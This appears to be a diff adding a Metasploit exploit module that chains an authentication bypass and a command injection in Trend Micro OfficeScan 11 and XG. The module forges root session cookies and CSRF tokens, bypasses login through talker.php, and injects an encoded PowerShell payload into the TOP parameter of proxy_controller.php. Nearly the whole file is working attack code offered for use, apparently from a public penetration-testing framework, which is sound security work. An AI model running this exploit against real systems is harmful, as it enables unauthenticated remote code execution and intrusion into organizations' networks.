|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::Powershell |
| 11 | + |
| 12 | + def initialize(info={}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => "Trend Micro OfficeScan Remote Code Execution", |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits the authentication bypass and command injection vulnerability together. Unauthenticated users can execute a |
| 17 | + terminal command under the context of the web server user. |
| 18 | +
|
| 19 | + The specific flaw exists within the management interface, which listens on TCP port 443 by default. The Trend Micro Officescan product |
| 20 | + has a widget feature which is implemented with PHP. Talker.php takes ack and hash parameters but doesn't validate these values, which |
| 21 | + leads to an authentication bypass for the widget. Proxy.php files under the mod TMCSS folder take multiple parameters but the process |
| 22 | + does not properly validate a user-supplied string before using it to execute a system call. Due to combination of these vulnerabilities, |
| 23 | + unauthenticated users can execute a terminal command under the context of the web server user. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'mr_me <[email protected]>', # author of command injection |
| 29 | + 'Mehmet Ince <[email protected]>' # author of authentication bypass & msf module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['URL', 'https://pentest.blog/one-ring-to-rule-them-all-same-rce-on-multiple-trend-micro-products/'], |
| 34 | + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-17-521/'], |
| 35 | + ], |
| 36 | + 'DefaultOptions' => |
| 37 | + { |
| 38 | + 'SSL' => true, |
| 39 | + 'RPORT' => 443 |
| 40 | + }, |
| 41 | + 'Platform' => ['win'], |
| 42 | + 'Arch' => [ ARCH_X86, ARCH_X64 ], |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + ['Automatic Targeting', { 'auto' => true }], |
| 46 | + ['OfficeScan 11', {}], |
| 47 | + ['OfficeScan XG', {}], |
| 48 | + ], |
| 49 | + 'Privileged' => false, |
| 50 | + 'DisclosureDate' => "Oct 7 2017", |
| 51 | + 'DefaultTarget' => 0 |
| 52 | + )) |
| 53 | + |
| 54 | + register_options( |
| 55 | + [ |
| 56 | + OptString.new('TARGETURI', [true, 'The URI of the Trend Micro OfficeScan management interface', '/']) |
| 57 | + ] |
| 58 | + ) |
| 59 | + end |
| 60 | + |
| 61 | + def build_csrftoken(my_target, phpsessid=nil) |
| 62 | + vprint_status("Building csrftoken") |
| 63 | + if my_target.name == 'OfficeScan XG' |
| 64 | + csrf_token = Rex::Text.md5(Time.now.to_s) |
| 65 | + else |
| 66 | + csrf_token = phpsessid.scan(/PHPSESSID=([a-zA-Z0-9]+)/).flatten[0] |
| 67 | + end |
| 68 | + csrf_token |
| 69 | + end |
| 70 | + |
| 71 | + def auto_target |
| 72 | + #XG version of the widget library has package.json within the same directory. |
| 73 | + mytarget = target |
| 74 | + if target['auto'] && target.name =~ /Automatic/ |
| 75 | + print_status('Automatic targeting enabled. Trying to detect version.') |
| 76 | + res = send_request_cgi({ |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'package.json'), |
| 79 | + }) |
| 80 | + |
| 81 | + if res && res.code == 200 |
| 82 | + mytarget = targets[2] |
| 83 | + elsif res && res.code == 404 |
| 84 | + mytarget = targets[1] |
| 85 | + else |
| 86 | + fail_with(Failure::Unknown, 'Unable to automatically select a target') |
| 87 | + end |
| 88 | + print_status("Selected target system : #{mytarget.name}") |
| 89 | + end |
| 90 | + mytarget |
| 91 | + end |
| 92 | + |
| 93 | + def auth(my_target) |
| 94 | + # Version XG performs MD5 validation on wf_CSRF_token parameter. We can't simply use PHPSESSID directly because it contains a-zA-Z0-9. |
| 95 | + # Beside that, version 11 use PHPSESSID value as a csrf token. Thus, we are manually crafting the cookie. |
| 96 | + if my_target.name == 'OfficeScan XG' |
| 97 | + csrf_token = build_csrftoken(my_target) |
| 98 | + cookie = "LANG=en_US; LogonUser=root; userID=1; wf_CSRF_token=#{csrf_token}" |
| 99 | + # Version 11 want to see valid PHPSESSID from beginning to the end. For this reason we need to force backend to initiate one for us. |
| 100 | + else |
| 101 | + vprint_status("Sending session initiation request for : #{my_target.name}.") |
| 102 | + res = send_request_cgi({ |
| 103 | + 'method' => 'GET', |
| 104 | + 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'index.php'), |
| 105 | + }) |
| 106 | + cookie = "LANG=en_US; LogonUser=root; userID=1; #{res.get_cookies}" |
| 107 | + csrf_token = build_csrftoken(my_target, res.get_cookies) |
| 108 | + end |
| 109 | + |
| 110 | + # Okay, we dynamically generated a cookie and csrf_token values depends on OfficeScan version. |
| 111 | + # Now we need to exploit authentication bypass vulnerability. |
| 112 | + res = send_request_cgi({ |
| 113 | + 'method' => 'POST', |
| 114 | + 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'ui', 'modLogin', 'talker.php'), |
| 115 | + 'headers' => { |
| 116 | + 'X-CSRFToken' => csrf_token, |
| 117 | + 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' |
| 118 | + }, |
| 119 | + 'cookie' => cookie, |
| 120 | + 'vars_post' => { |
| 121 | + 'cid' => '1', |
| 122 | + 'act' => 'check', |
| 123 | + 'hash' => Rex::Text.rand_text_alpha(10), |
| 124 | + 'pid' => '1' |
| 125 | + } |
| 126 | + }) |
| 127 | + |
| 128 | + if res && res.code == 200 && res.body.include?('login successfully') |
| 129 | + # Another business logic in here. |
| 130 | + # Version 11 want to use same PHPSESSID generated at the beginning by hitting index.php |
| 131 | + # Version XG want to use newly created PHPSESSID that comes from auth bypass response. |
| 132 | + if my_target.name == 'OfficeScan XG' |
| 133 | + res.get_cookies |
| 134 | + else |
| 135 | + cookie |
| 136 | + end |
| 137 | + else |
| 138 | + nil |
| 139 | + end |
| 140 | + end |
| 141 | + |
| 142 | + def check |
| 143 | + my_target = auto_target |
| 144 | + token = auth(my_target) |
| 145 | + # If we dont have a cookie that means authentication bypass issue has been patched on target system. |
| 146 | + if token.nil? |
| 147 | + Exploit::CheckCode::Safe |
| 148 | + else |
| 149 | + # Authentication bypass does not mean that we have a command injection. |
| 150 | + # Accessing to the widget framework without having command injection means literally nothing. |
| 151 | + # So we gonna trigger command injection vulnerability without a payload. |
| 152 | + csrf_token = build_csrftoken(my_target, token) |
| 153 | + vprint_status('Trying to detect command injection vulnerability') |
| 154 | + res = send_request_cgi({ |
| 155 | + 'method' => 'POST', |
| 156 | + 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), |
| 157 | + 'headers' => { |
| 158 | + 'X-CSRFToken' => csrf_token, |
| 159 | + 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' |
| 160 | + }, |
| 161 | + 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{token}", |
| 162 | + 'vars_post' => { |
| 163 | + 'module' => 'modTMCSS', |
| 164 | + 'serverid' => '1', |
| 165 | + 'TOP' => '' |
| 166 | + } |
| 167 | + }) |
| 168 | + if res && res.code == 200 && res.body.include?('Proxy execution failed: exec report.php failed') |
| 169 | + Exploit::CheckCode::Vulnerable |
| 170 | + else |
| 171 | + Exploit::CheckCode::Safe |
| 172 | + end |
| 173 | + end |
| 174 | + end |
| 175 | + |
| 176 | + def exploit |
| 177 | + mytarget = auto_target |
| 178 | + print_status('Exploiting authentication bypass') |
| 179 | + cookie = auth(mytarget) |
| 180 | + if cookie.nil? |
| 181 | + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") |
| 182 | + else |
| 183 | + print_good("Authenticated successfully bypassed.") |
| 184 | + end |
| 185 | + |
| 186 | + print_status('Generating payload') |
| 187 | + |
| 188 | + powershell_options = { |
| 189 | + encode_final_payload: true, |
| 190 | + remove_comspec: true |
| 191 | + } |
| 192 | + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) |
| 193 | + |
| 194 | + |
| 195 | + # We need to craft csrf value for version 11 again like we did before at auth function. |
| 196 | + csrf_token = build_csrftoken(mytarget, cookie) |
| 197 | + |
| 198 | + print_status('Trigerring command injection vulnerability') |
| 199 | + |
| 200 | + send_request_cgi({ |
| 201 | + 'method' => 'POST', |
| 202 | + 'uri' => normalize_uri(target_uri.path, 'officescan', 'console', 'html', 'widget', 'proxy_controller.php'), |
| 203 | + 'headers' => { |
| 204 | + 'X-CSRFToken' => csrf_token, |
| 205 | + 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8' |
| 206 | + }, |
| 207 | + 'cookie' => "LANG=en_US; LogonUser=root; wf_CSRF_token=#{csrf_token}; #{cookie}", |
| 208 | + 'vars_post' => { |
| 209 | + 'module' => 'modTMCSS', |
| 210 | + 'serverid' => '1', |
| 211 | + 'TOP' => "2>&1||#{p}" |
| 212 | + } |
| 213 | + }) |
| 214 | + |
| 215 | + end |
| 216 | +end |
0 commit comments